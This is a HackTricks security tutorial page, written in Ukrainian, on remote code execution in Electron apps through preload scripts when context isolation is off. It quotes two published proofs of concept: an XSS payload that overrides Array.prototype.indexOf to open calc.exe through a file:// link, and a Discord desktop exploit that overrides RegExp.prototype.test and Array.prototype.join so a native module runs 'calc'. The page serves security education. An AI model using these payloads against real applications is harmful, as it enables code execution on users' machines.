Electron contextIsolation RCE через код preload

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Приклад 1

Приклад з https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Цей код відкриває http(s) посилання з браузером за замовчуванням:

Щось на кшталт file:///C:/Windows/systemd32/calc.exe може бути використано для виконання калькулятора, SAFE_PROTOCOLS.indexOf запобігає цьому.

Отже, зловмисник може впровадити цей JS код через XSS або довільну навігацію на сторінці:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>

Оскільки виклик до SAFE_PROTOCOLS.indexOf завжди поверне 1337, зловмисник може обійти захист і виконати calc. Остаточний експлойт:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Перевірте оригінальні слайди на наявність інших способів виконання програм без запиту дозволів.

Очевидно, ще один спосіб завантажити та виконати код - це отримати доступ до чогось на зразок file://127.0.0.1/electron/rce.jar

Приклад 2: RCE в додатку Discord

Приклад з https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Перевіряючи скрипти попереднього завантаження, я виявив, що Discord відкриває функцію, яка дозволяє викликати деякі дозволені модулі через DiscordNative.nativeModules.requireModule('MODULE-NAME'), на веб-сторінці.
Тут я не міг використовувати модулі, які можуть бути використані для RCE безпосередньо, такі як child_process модуль, але я знайшов код, де RCE може бути досягнуто шляхом перевизначення вбудованих методів JavaScript та втручання у виконання відкритого модуля.

Наступне - це PoC. Я зміг підтвердити, що додаток calc з'являється, коли я викликаю функцію getGPUDriverVersions, яка визначена в модулі під назвою "discord_utils" з devTools, при цьому перевизначаючи RegExp.prototype.test та Array.prototype.join.

javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()

Функція getGPUDriverVersions намагається виконати програму, використовуючи бібліотеку "execa", як показано нижче:

javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}

const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}

return result
}

Зазвичай execa намагається виконати "nvidia-smi.exe", який вказаний у змінній nvidiaSmiPath, однак, через переоприділений RegExp.prototype.test та Array.prototype.join, аргумент замінюється на "calc" у внутрішній обробці _execa_**.

Конкретно, аргумент замінюється шляхом зміни наступних двох частин.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks